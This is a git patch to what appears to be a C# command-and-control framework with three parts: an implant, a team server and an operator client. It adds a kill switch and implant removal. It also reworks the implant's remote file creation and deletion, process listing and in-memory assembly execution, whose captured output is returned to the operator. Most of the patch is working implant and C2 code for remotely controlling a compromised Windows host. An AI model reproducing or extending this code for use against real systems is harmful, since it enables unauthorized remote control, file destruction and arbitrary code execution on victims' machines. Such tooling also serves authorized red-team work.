From 22729f8b8d1429e5fe0ac7df1e6ceda07f510eee Mon Sep 17 00:00:00 2001 From: Gr1mmie Date: Wed, 16 Mar 2022 22:10:46 -0400 Subject: [PATCH] KillSwitch --- Client/Models/Data/Client.cs | 1 - Client/Utils/ClientUtils/Commands.cs | 13 +++++-- Client/Utils/ClientUtils/Options.cs | 18 +++------ Client/Utils/ClientUtils/SetOpt.cs | 35 ------------------ Client/Utils/ClientUtils/SetTaskOpt.cs | 6 +-- Client/Utils/ImplantUtils/Implants.cs | 8 ++-- Client/Utils/ImplantUtils/RemoveImplant.cs | 37 +++++++++++++++++++ Client/Utils/TaskUtils/AdminUtils/Cd.cs | 2 +- Client/Utils/TaskUtils/AdminUtils/Getuid.cs | 2 +- Client/Utils/TaskUtils/AdminUtils/Ipconfig.cs | 2 +- .../Utils/TaskUtils/AdminUtils/KillSwitch.cs | 20 ++++++++++ Client/Utils/TaskUtils/AdminUtils/Ls.cs | 2 +- Client/Utils/TaskUtils/AdminUtils/Mkdir.cs | 2 +- Client/Utils/TaskUtils/AdminUtils/Mkfile.cs | 2 +- Client/Utils/TaskUtils/AdminUtils/Ps.cs | 2 +- Client/Utils/TaskUtils/AdminUtils/Pwd.cs | 2 +- Client/Utils/TaskUtils/AdminUtils/Rmdir.cs | 2 +- Client/Utils/TaskUtils/AdminUtils/Rmfile.cs | 2 +- Client/Utils/TaskUtils/AssemQuery.cs | 2 - Client/Utils/TaskUtils/PSLoad.cs | 2 +- Client/Utils/Utils.cs | 2 +- Implant/Implant.csproj | 1 + Implant/Program.cs | 2 +- Implant/Tasks/Execute/Administration/Cd.cs | 10 +++-- .../Execute/Administration/KillSwitch.cs | 18 +++++++++ Implant/Tasks/Execute/Administration/Ls.cs | 3 ++ Implant/Tasks/Execute/Administration/Mkdir.cs | 3 ++ .../Tasks/Execute/Administration/Mkfile.cs | 7 +++- Implant/Tasks/Execute/Administration/Ps.cs | 2 + Implant/Tasks/Execute/Administration/Rmdir.cs | 6 ++- .../Tasks/Execute/Administration/Rmfile.cs | 5 ++- .../Tasks/Execute/Functions/LoadFunctions.cs | 24 +++++++++++- Implant/Utils/ImplantOptionUtils.cs | 8 +--- .../Implants/ImplantsController.cs | 13 ++++++- .../Listeners/HTTPListenerController.cs | 6 +-- TeamServer/Models/Implants/Implant.cs | 6 +-- 36 files changed, 179 insertions(+), 99 deletions(-) delete mode 100644 Client/Utils/ClientUtils/SetOpt.cs create mode 100644 Client/Utils/ImplantUtils/RemoveImplant.cs create mode 100644 Client/Utils/TaskUtils/AdminUtils/KillSwitch.cs create mode 100644 Implant/Tasks/Execute/Administration/KillSwitch.cs diff --git a/Client/Models/Data/Client.cs b/Client/Models/Data/Client.cs index d627ce5..c3341ba 100644 --- a/Client/Models/Data/Client.cs +++ b/Client/Models/Data/Client.cs @@ -1,6 +1,5 @@ using System; using System.Collections.Generic; -using System.Net; namespace Client.Models { diff --git a/Client/Utils/ClientUtils/Commands.cs b/Client/Utils/ClientUtils/Commands.cs index 8ee601c..8648e34 100644 --- a/Client/Utils/ClientUtils/Commands.cs +++ b/Client/Utils/ClientUtils/Commands.cs @@ -1,4 +1,5 @@ -using System.Text; +using System.Collections.Generic; +using System.Text; using static Client.Models.Client; @@ -16,10 +17,16 @@ namespace Client.Utils if (_utils.Count == 0) { Init.UtilInit(); } if (_opts.Count == 0 ) { Init.OptInit(); } - if (_adminTask.Count == 0) { Init.AdminUtilInit(); } + if (_adminTask.Count == 0) { Init.AdminUtilInit(); } + + var listenerUtils = new List(); + var implantUtils = new List(); + var taskUtils = new List(); _out.AppendLine("\nClient Utils\n____________\n"); - foreach (Models.Util cmd in _utils){ _out.AppendLine($"{cmd.UtilName,-25} {cmd.Desc}"); } + foreach (Models.Util cmd in _utils){ + _out.AppendLine($"{cmd.UtilName,-25} {cmd.Desc}"); + } _out.AppendLine("\nImplant Tasks\n_____________\n"); foreach (Models.Task cmd in _opts) { _out.AppendLine($"{cmd.TaskName, -25} {cmd.Desc}"); } diff --git a/Client/Utils/ClientUtils/Options.cs b/Client/Utils/ClientUtils/Options.cs index 40a7495..76d0ee7 100644 --- a/Client/Utils/ClientUtils/Options.cs +++ b/Client/Utils/ClientUtils/Options.cs @@ -12,24 +12,16 @@ namespace Client.Utils { StringBuilder _out = new StringBuilder(); - var len = nameof(TeamServerAddr).Length + 25; - _out.AppendLine( "TeamServer:\n" + - $"\t{nameof(TeamServerAddr)} : {TeamServerAddr.Align(len) }\n" + + $"\t{nameof(TeamServerAddr), -15}: {TeamServerAddr}\n" + "Implant:\n" + - $"\t{nameof(CurrentImplant)} : {CurrentImplant.Align(len)}\n" + - $"\t{nameof(ImplantAddr)} : {ImplantAddr.Align(len)}\n" + $"\t{nameof(CurrentImplant), -15}: {CurrentImplant}\n" + + $"\t{nameof(ImplantAddr), -15}: {ImplantAddr}\n" + + "Tasks:\n" + + $"\t{nameof(TaskName), -15}: {TaskName}\n" ); - if (TaskName is not null) - { - _out.AppendLine( - "Tasks:\n" + - $"\t{nameof(TaskName)} : {TaskName.Align(len)}\n" - ); - } - return _out.ToString(); } } diff --git a/Client/Utils/ClientUtils/SetOpt.cs b/Client/Utils/ClientUtils/SetOpt.cs deleted file mode 100644 index e971b60..0000000 --- a/Client/Utils/ClientUtils/SetOpt.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System; - -using Client.Models; - -namespace Client.Utils -{ - class SetOpt : Models.Util - { - string OptName { get; set; } - string OptVal { get; set; } - - public override string UtilName => "SetOpt"; - public override string Desc => "Set an option"; - public override string UtilExecute(string[] opts) - { - try - { - if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: SetOpt [optionName] [optionValue]"); } - - OptName = opts[1]; - OptVal = opts[2]; - - if (OptName == null) { throw new AtlasException($"[-] Invalid parameters passed\nUsage: SetOpt [optionName] [optionValue]"); } - if (OptVal == null) { throw new AtlasException($"[-] Invalid parameters passed\nUsage: SetOpt [optionName] [optionValue]"); } - - - - return $"{OptName} set to {OptVal}"; - - } catch (AtlasException e) { return e.Message; } - - throw new NotImplementedException(); - } - } -} diff --git a/Client/Utils/ClientUtils/SetTaskOpt.cs b/Client/Utils/ClientUtils/SetTaskOpt.cs index 72b1810..8ad6283 100644 --- a/Client/Utils/ClientUtils/SetTaskOpt.cs +++ b/Client/Utils/ClientUtils/SetTaskOpt.cs @@ -16,10 +16,10 @@ namespace Client.Utils { try { - if ((TaskName is null)) { throw new AtlasException($"[-] Select a task before attempting to set task options\n"); } - - if (opts is null) { throw new AtlasException($"[*] Usage: SetTaskOpt [optionName] [optionValue]\n"); } + if (TaskName is null) { throw new AtlasException($"[-] Select a task before attempting to set task options\n"); } + if (opts is null || opts.Length != 3) { throw new AtlasException($"[*] Usage: SetTaskOpt [optionName] [optionValue]\n"); } + OptName = opts[1]; OptValue = opts[2]; diff --git a/Client/Utils/ImplantUtils/Implants.cs b/Client/Utils/ImplantUtils/Implants.cs index 526de7f..16ec3e7 100644 --- a/Client/Utils/ImplantUtils/Implants.cs +++ b/Client/Utils/ImplantUtils/Implants.cs @@ -21,7 +21,7 @@ namespace Client.Utils { StringBuilder _out = new StringBuilder(); - var implants = Comms.comms.SendGET($"{TeamServerAddr}/Implants").TrimStart('[').TrimEnd(']'); + string implants = Comms.comms.SendGET($"{TeamServerAddr}/Implants").TrimStart('[').TrimEnd(']'); if (implants.Length == 0) { throw new AtlasException("[*] No active implants\n"); } _out.AppendLine($"{"ImplantId",-20} {"Hostname",-25} {"Intergity",-20} {"LastSeen",-20}"); @@ -33,9 +33,10 @@ namespace Client.Utils foreach(var _implant in implantList){ ImplantData = JsonConvert.DeserializeObject(_implant); - Models.Client.ImplantList.Add(ImplantData.data.id); + string lastSeen = $"{ImplantData.lastSeen.Split("T")[1].Split(".")[0]} {ImplantData.lastSeen.Split("T")[0]}"; + ImplantList.Add(ImplantData.data.id); _out.AppendLine($"{ImplantData.data.id,-20} {ImplantData.data.hostName, -25} {ImplantData.data.integrity, -20}" + - $" {ImplantData.lastSeen, -20}"); + $" {lastSeen, -20} "); } ImplantList = ImplantList.Distinct().ToList(); @@ -46,5 +47,6 @@ namespace Client.Utils catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; } } + } } diff --git a/Client/Utils/ImplantUtils/RemoveImplant.cs b/Client/Utils/ImplantUtils/RemoveImplant.cs new file mode 100644 index 0000000..878b982 --- /dev/null +++ b/Client/Utils/ImplantUtils/RemoveImplant.cs @@ -0,0 +1,37 @@ +using System; +using System.Text; +using System.Linq; + +using Client.Models; + +using static Client.Models.Client; + +namespace Client.Utils +{ + public class RemoveImplant : Models.Util + { + public override string UtilName => "RemoveImplant"; + + public override string Desc => "Remove implant from implant list"; + + public override string UtilExecute(string[] opts) + { + if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: RemoveImplant [implantName]\n"); } + if (opts.Length > 2) { throw new AtlasException($"[*] Incorrect parameters passed\nUsage: RemoveImplant [implantName]\n"); } + + StringBuilder outData = new StringBuilder(); + + var implantName = opts[1]; + var _implant = ImplantList.FirstOrDefault(implant => implant.Equals(implantName)); + if (_implant is null) { throw new AtlasException($"[-] Implant {implantName} does not exist"); } + + //TaskOps.sendAdminUtil("KillSwitch"); + + Comms.comms.SendDELETE($"{TeamServerAddr}/Implants/{implantName}"); + + outData.AppendLine($"[*] Implant {implantName} successfully removed"); + + return outData.ToString(); + } + } +} diff --git a/Client/Utils/TaskUtils/AdminUtils/Cd.cs b/Client/Utils/TaskUtils/AdminUtils/Cd.cs index 4a253c1..28a915b 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Cd.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Cd.cs @@ -2,7 +2,7 @@ using static Client.Models.Client; -namespace Client.Utils.TaskUtils +namespace Client.Utils { class Cd : Models.AdminTask { diff --git a/Client/Utils/TaskUtils/AdminUtils/Getuid.cs b/Client/Utils/TaskUtils/AdminUtils/Getuid.cs index bf5f418..7ad749f 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Getuid.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Getuid.cs @@ -2,7 +2,7 @@ using static Client.Models.Client; -namespace Client.Utils.TaskUtils +namespace Client.Utils { class Getuid : Models.AdminTask { diff --git a/Client/Utils/TaskUtils/AdminUtils/Ipconfig.cs b/Client/Utils/TaskUtils/AdminUtils/Ipconfig.cs index 3f48c33..e1fb295 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Ipconfig.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Ipconfig.cs @@ -2,7 +2,7 @@ using static Client.Models.Client; -namespace Client.Utils.TaskUtils.AdminUtils +namespace Client.Utils { class Ipconfig : Models.AdminTask { diff --git a/Client/Utils/TaskUtils/AdminUtils/KillSwitch.cs b/Client/Utils/TaskUtils/AdminUtils/KillSwitch.cs new file mode 100644 index 0000000..c5a251c --- /dev/null +++ b/Client/Utils/TaskUtils/AdminUtils/KillSwitch.cs @@ -0,0 +1,20 @@ +using System; + + +namespace Client.Utils +{ + internal class KillSwitch : Models.AdminTask + { + public override string TaskName => "KillSwitch"; + + public override string Desc => "Send shutdown signal to implant"; + + public override string AdminUtilExec(string[] opts) + { + try { + var resp = TaskOps.sendAdminUtil("KillSwitch"); + return ""; + } catch (System.Net.WebException) { throw new Exception($"Implant successfully shutdown"); } + } + } +} diff --git a/Client/Utils/TaskUtils/AdminUtils/Ls.cs b/Client/Utils/TaskUtils/AdminUtils/Ls.cs index d2159bc..c48ec4a 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Ls.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Ls.cs @@ -2,7 +2,7 @@ using static Client.Models.Client; -namespace Client.Utils.TaskUtils.AdminUtils +namespace Client.Utils { class Ls : Models.AdminTask { diff --git a/Client/Utils/TaskUtils/AdminUtils/Mkdir.cs b/Client/Utils/TaskUtils/AdminUtils/Mkdir.cs index 47b0612..bbb3683 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Mkdir.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Mkdir.cs @@ -2,7 +2,7 @@ using static Client.Models.Client; -namespace Client.Utils.TaskUtils.AdminUtils +namespace Client.Utils { class Mkdir : Models.AdminTask { diff --git a/Client/Utils/TaskUtils/AdminUtils/Mkfile.cs b/Client/Utils/TaskUtils/AdminUtils/Mkfile.cs index 464c2a0..9ad8b05 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Mkfile.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Mkfile.cs @@ -2,7 +2,7 @@ using static Client.Models.Client; -namespace Client.Utils.TaskUtils.AdminUtils +namespace Client.Utils { class Mkfile : Models.AdminTask { diff --git a/Client/Utils/TaskUtils/AdminUtils/Ps.cs b/Client/Utils/TaskUtils/AdminUtils/Ps.cs index 3bcc43d..8cf576c 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Ps.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Ps.cs @@ -2,7 +2,7 @@ using static Client.Models.Client; -namespace Client.Utils.TaskUtils.AdminUtils +namespace Client.Utils { class Ps : Models.AdminTask { diff --git a/Client/Utils/TaskUtils/AdminUtils/Pwd.cs b/Client/Utils/TaskUtils/AdminUtils/Pwd.cs index 1369179..e4d5167 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Pwd.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Pwd.cs @@ -2,7 +2,7 @@ using static Client.Models.Client; -namespace Client.Utils.TaskUtils.AdminUtils +namespace Client.Utils { class Pwd : Models.AdminTask { diff --git a/Client/Utils/TaskUtils/AdminUtils/Rmdir.cs b/Client/Utils/TaskUtils/AdminUtils/Rmdir.cs index a382513..b6c2cfd 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Rmdir.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Rmdir.cs @@ -2,7 +2,7 @@ using static Client.Models.Client; -namespace Client.Utils.TaskUtils.AdminUtils +namespace Client.Utils { class Rmdir : Models.AdminTask { diff --git a/Client/Utils/TaskUtils/AdminUtils/Rmfile.cs b/Client/Utils/TaskUtils/AdminUtils/Rmfile.cs index 5854519..9a018b5 100644 --- a/Client/Utils/TaskUtils/AdminUtils/Rmfile.cs +++ b/Client/Utils/TaskUtils/AdminUtils/Rmfile.cs @@ -2,7 +2,7 @@ using static Client.Models.Client; -namespace Client.Utils.TaskUtils.AdminUtils +namespace Client.Utils { class Rmfile : Models.AdminTask { diff --git a/Client/Utils/TaskUtils/AssemQuery.cs b/Client/Utils/TaskUtils/AssemQuery.cs index 9160800..3ef4a58 100644 --- a/Client/Utils/TaskUtils/AssemQuery.cs +++ b/Client/Utils/TaskUtils/AssemQuery.cs @@ -1,7 +1,5 @@ using System.Collections.Generic; -using static Client.Models.TaskOptions; - namespace Client.Utils { class AssemQuery : Models.Task diff --git a/Client/Utils/TaskUtils/PSLoad.cs b/Client/Utils/TaskUtils/PSLoad.cs index b6c4b0b..ccab103 100644 --- a/Client/Utils/TaskUtils/PSLoad.cs +++ b/Client/Utils/TaskUtils/PSLoad.cs @@ -2,7 +2,7 @@ using static Client.Models.TaskOptions; -namespace Client.Utils.TaskUtils +namespace Client.Utils { class PSLoad : Models.Task { diff --git a/Client/Utils/Utils.cs b/Client/Utils/Utils.cs index 5c2287b..7f84c9a 100644 --- a/Client/Utils/Utils.cs +++ b/Client/Utils/Utils.cs @@ -60,7 +60,7 @@ namespace Client.Utils WriteLine(_out); } catch (NotImplementedException) { WriteLine($"[-] Util {input} not yet implemented"); } catch (AtlasException e) { WriteLine(e.Message); } - catch (Exception e) { WriteLine($"{e}"); } + catch (Exception e) { WriteLine($"{e.Message}"); } } diff --git a/Implant/Implant.csproj b/Implant/Implant.csproj index 096540f..bfe2f95 100644 --- a/Implant/Implant.csproj +++ b/Implant/Implant.csproj @@ -63,6 +63,7 @@ + diff --git a/Implant/Program.cs b/Implant/Program.cs index 1ee9069..cf70a7a 100644 --- a/Implant/Program.cs +++ b/Implant/Program.cs @@ -23,7 +23,7 @@ namespace Implant var proc = Process.GetCurrentProcess(); _implantData = new ImplantData { - // get DNS hostname + ID = ImplantDataUtils.GenImplantName(), HostName = Environment.MachineName, User = Environment.UserName, Integrity = ImplantDataUtils.ReturnIntegrity(), Arch = ImplantDataUtils.ReturnArch(), diff --git a/Implant/Tasks/Execute/Administration/Cd.cs b/Implant/Tasks/Execute/Administration/Cd.cs index 49366a5..acf4f0a 100644 --- a/Implant/Tasks/Execute/Administration/Cd.cs +++ b/Implant/Tasks/Execute/Administration/Cd.cs @@ -1,7 +1,7 @@ -using Implant.Models; -using System; +using System; using System.IO; -using System.Text; + +using Implant.Models; namespace Implant.Tasks.Execute { @@ -17,6 +17,8 @@ namespace Implant.Tasks.Execute { path = task.Args; + var currentDir = Directory.GetCurrentDirectory(); + if (path is null || path == ""){ path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); } @@ -27,6 +29,8 @@ namespace Implant.Tasks.Execute path = string.Join("\\", dirArr); } + if (Directory.Exists($"{currentDir}\\{path}")) { path = $"{currentDir}\\{path}"; } + Directory.SetCurrentDirectory(path); return $"[*] Path set to {Directory.GetCurrentDirectory()}\n"; diff --git a/Implant/Tasks/Execute/Administration/KillSwitch.cs b/Implant/Tasks/Execute/Administration/KillSwitch.cs new file mode 100644 index 0000000..10dced0 --- /dev/null +++ b/Implant/Tasks/Execute/Administration/KillSwitch.cs @@ -0,0 +1,18 @@ +using System; + +using Implant.Models; + +namespace Implant.Tasks.Execute +{ + internal class Exit : ImplantCommands + { + public override string Name => "KillSwitch"; + + public override string Execute(ImplantTask task) + { + + Environment.Exit(0); + return $"Implant Shutdown"; + } + } +} diff --git a/Implant/Tasks/Execute/Administration/Ls.cs b/Implant/Tasks/Execute/Administration/Ls.cs index ed2f418..5791228 100644 --- a/Implant/Tasks/Execute/Administration/Ls.cs +++ b/Implant/Tasks/Execute/Administration/Ls.cs @@ -21,6 +21,8 @@ namespace Implant.Tasks.Execute { targetPath = task.Args; + + var currentPath = Directory.GetCurrentDirectory(); StringBuilder _out = new StringBuilder(); @@ -28,6 +30,7 @@ namespace Implant.Tasks.Execute targetPath = Directory.GetCurrentDirectory(); } + if (Directory.Exists($"{currentPath}\\{targetPath}")) { targetPath = $"{currentPath}\\{targetPath}"; } var dirs = Directory.GetDirectories(targetPath); var files = Directory.GetFiles(targetPath); diff --git a/Implant/Tasks/Execute/Administration/Mkdir.cs b/Implant/Tasks/Execute/Administration/Mkdir.cs index 86010a6..acbb3f0 100644 --- a/Implant/Tasks/Execute/Administration/Mkdir.cs +++ b/Implant/Tasks/Execute/Administration/Mkdir.cs @@ -12,6 +12,9 @@ namespace Implant.Tasks.Execute public override string Execute(ImplantTask task) { dirPath = task.Args; + var currentDir = Directory.GetCurrentDirectory(); + + if (!(dirPath.Contains(currentDir))) { dirPath = $"{currentDir}\\{task.Args}"; } Directory.CreateDirectory(dirPath); diff --git a/Implant/Tasks/Execute/Administration/Mkfile.cs b/Implant/Tasks/Execute/Administration/Mkfile.cs index c88330d..40f2665 100644 --- a/Implant/Tasks/Execute/Administration/Mkfile.cs +++ b/Implant/Tasks/Execute/Administration/Mkfile.cs @@ -12,10 +12,13 @@ namespace Implant.Tasks.Execute public override string Execute(ImplantTask task) { filePath = task.Args; + var currentDir = Directory.GetCurrentDirectory(); - File.Create(filePath); + if (!(filePath.Contains(currentDir))) { filePath = $"{currentDir}\\{task.Args}"; } - if(File.Exists(filePath)) { return $"[*] {filePath} created\n"; } + File.Create($"{filePath}"); + + if(File.Exists($"{filePath}")) { return $"[*] {filePath} created\n"; } return $"[-] Failed to create {filePath}\n"; } } diff --git a/Implant/Tasks/Execute/Administration/Ps.cs b/Implant/Tasks/Execute/Administration/Ps.cs index ad082e6..4da4165 100644 --- a/Implant/Tasks/Execute/Administration/Ps.cs +++ b/Implant/Tasks/Execute/Administration/Ps.cs @@ -22,6 +22,8 @@ namespace Implant.Tasks.Execute var procs = Process.GetProcesses(); + // if(task.Args != null) { procs = Process.GetProcesses(task.Args); } + procIDLen = psParse.getMaxProcIDLen(procs); procNameLen = psParse.getMaxProcNameLen(procs) + procIDLen; procSessionIDLen = psParse.getMaxProcSessionIDLen(procs) + procNameLen; diff --git a/Implant/Tasks/Execute/Administration/Rmdir.cs b/Implant/Tasks/Execute/Administration/Rmdir.cs index 191ae3d..58494a9 100644 --- a/Implant/Tasks/Execute/Administration/Rmdir.cs +++ b/Implant/Tasks/Execute/Administration/Rmdir.cs @@ -13,6 +13,10 @@ namespace Implant.Tasks.Execute public override string Execute(ImplantTask task) { targetDir = task.Args; + var currentDir = Directory.GetCurrentDirectory(); + + if (!(targetDir.Contains(currentDir))) { targetDir = $"{currentDir}\\{task.Args}"; } + DirectoryInfo dirData = new DirectoryInfo(targetDir); @@ -21,7 +25,7 @@ namespace Implant.Tasks.Execute Directory.Delete(targetDir, true); - if(!(dirData.Exists)) { return $"[*] {targetDir} removed\n"; } + if (!(dirData.Exists)) { return $"[*] {targetDir} removed\n"; } return $"[-] Failed to remove {targetDir}\n"; } } diff --git a/Implant/Tasks/Execute/Administration/Rmfile.cs b/Implant/Tasks/Execute/Administration/Rmfile.cs index 5efdcb0..a4c6f02 100644 --- a/Implant/Tasks/Execute/Administration/Rmfile.cs +++ b/Implant/Tasks/Execute/Administration/Rmfile.cs @@ -11,10 +11,13 @@ namespace Implant.Tasks.Execute public override string Execute(ImplantTask task) { targetFile = task.Args; + var currentDir = Directory.GetCurrentDirectory(); + if (!(targetFile.Contains(currentDir))) { targetFile = $"{currentDir}\\{task.Args}"; } + File.Delete(targetFile); - if(!(File.Exists(targetFile))) { return $"[*] {targetFile} removed\n"; } + if (!(File.Exists(targetFile))) { return $"[*] {targetFile} removed\n"; } return $"[-] Failed to remove {targetFile}\n"; } } diff --git a/Implant/Tasks/Execute/Functions/LoadFunctions.cs b/Implant/Tasks/Execute/Functions/LoadFunctions.cs index 1545094..7ce17f7 100644 --- a/Implant/Tasks/Execute/Functions/LoadFunctions.cs +++ b/Implant/Tasks/Execute/Functions/LoadFunctions.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.Linq; +using System.IO; using System.Net; using System.Reflection; using System.Text; @@ -25,9 +26,28 @@ namespace Implant.Tasks.Execute } public static string ExecuteAssemEP(string assemName, string parameters){ + var snapshotOut = Console.Out; + var snapshotErr = Console.Error; + + var memStream = new MemoryStream(); + var streamWriter = new StreamWriter(memStream) { AutoFlush = true }; + + Console.SetOut(streamWriter); + Console.SetError(streamWriter); + Assembly assem = GetAssemblyByName(assemName); - var assemOut = assem.EntryPoint.Invoke(null, new object[] { new string[] { parameters } }); - return assemOut.ToString(); + assem.EntryPoint.Invoke(null, new object[] { new string[] { parameters } }); + + Console.Out.Flush(); + Console.Error.Flush(); + + var assemOut = Encoding.UTF8.GetString(memStream.ToArray()); + + Console.SetOut(snapshotOut); + Console.SetError(snapshotErr); + + return assemOut; + } public static string ExecuteAssemMethod(string assemName, string assemType, string assemMethod, string parameters){ diff --git a/Implant/Utils/ImplantOptionUtils.cs b/Implant/Utils/ImplantOptionUtils.cs index abb4fed..8c29c31 100644 --- a/Implant/Utils/ImplantOptionUtils.cs +++ b/Implant/Utils/ImplantOptionUtils.cs @@ -37,13 +37,7 @@ namespace Implant.Utils public static ArgsRecv ParseArgs(string jsonData){ return JsonConvert.DeserializeObject(jsonData); } - - /* - public static ArgsRecv ParseArgs(byte[] jsonData) - { - return JsonConvert.DeserializeObject(jsonData); - } - */ + } } diff --git a/TeamServer/Controllers/Implants/ImplantsController.cs b/TeamServer/Controllers/Implants/ImplantsController.cs index 45bdc7d..8748c18 100644 --- a/TeamServer/Controllers/Implants/ImplantsController.cs +++ b/TeamServer/Controllers/Implants/ImplantsController.cs @@ -57,10 +57,10 @@ namespace TeamServer.Controllers.Implants [HttpPost("{implantId}")] public IActionResult TaskImplant(string implantId, [FromBody] ImplantTaskRequest req) { - var implant = _implants.GetImplant(implantId); + Implant implant = _implants.GetImplant(implantId); if(implant is null) { return NotFound($"{implantId} not found"); } - var task = new ImplantTask() { Id = Guid.NewGuid().ToString() , Command = req.Command , Args = req.Args, File = req.File}; + ImplantTask task = new ImplantTask() { Id = Guid.NewGuid().ToString() , Command = req.Command , Args = req.Args, File = req.File}; implant.TaskQueue(task); var root = $"{HttpContext.Request.Scheme}://{HttpContext.Request.Host}{HttpContext.Request.Path}"; @@ -69,5 +69,14 @@ namespace TeamServer.Controllers.Implants return Created(path, task); } + [HttpDelete("{implantId}")] + public IActionResult PurgeImplant(string implantId) + { + Implant implant = _implants.GetImplant(implantId); + if (implant is null) { return NotFound($"{implantId} not found"); } + _implants.PurgeImplant(implant); + + return Ok($"{implantId} removed"); + } } } diff --git a/TeamServer/Controllers/Listeners/HTTPListenerController.cs b/TeamServer/Controllers/Listeners/HTTPListenerController.cs index 178dde2..e06bafe 100644 --- a/TeamServer/Controllers/Listeners/HTTPListenerController.cs +++ b/TeamServer/Controllers/Listeners/HTTPListenerController.cs @@ -33,14 +33,12 @@ namespace TeamServer.Controllers implant.PollImplant(); - //System.Threading.Thread.Sleep(6000); + //System.Threading.Thread.Sleep(Jitter); if(HttpContext.Request.Method == "POST") { string respBody; - using (var stream = new StreamReader(HttpContext.Request.Body)) { - respBody = await stream.ReadToEndAsync(); - } + using (var stream = new StreamReader(HttpContext.Request.Body)) { respBody = await stream.ReadToEndAsync(); } var _out = JsonConvert.DeserializeObject>(respBody); implant.AddTaskOut(_out); diff --git a/TeamServer/Models/Implants/Implant.cs b/TeamServer/Models/Implants/Implant.cs index db5b422..7c569dc 100644 --- a/TeamServer/Models/Implants/Implant.cs +++ b/TeamServer/Models/Implants/Implant.cs @@ -13,11 +13,9 @@ namespace TeamServer.Models private readonly List _taskOut = new(); - public Implant(ImplantData data){ - Data = data; - } + public Implant(ImplantData data) { Data = data; } - public void PollImplant(){ LastSeen = DateTime.UtcNow; } + public void PollImplant() { LastSeen = DateTime.Now; } public void TaskQueue(ImplantTask task) { _pendingTasks.Enqueue(task); }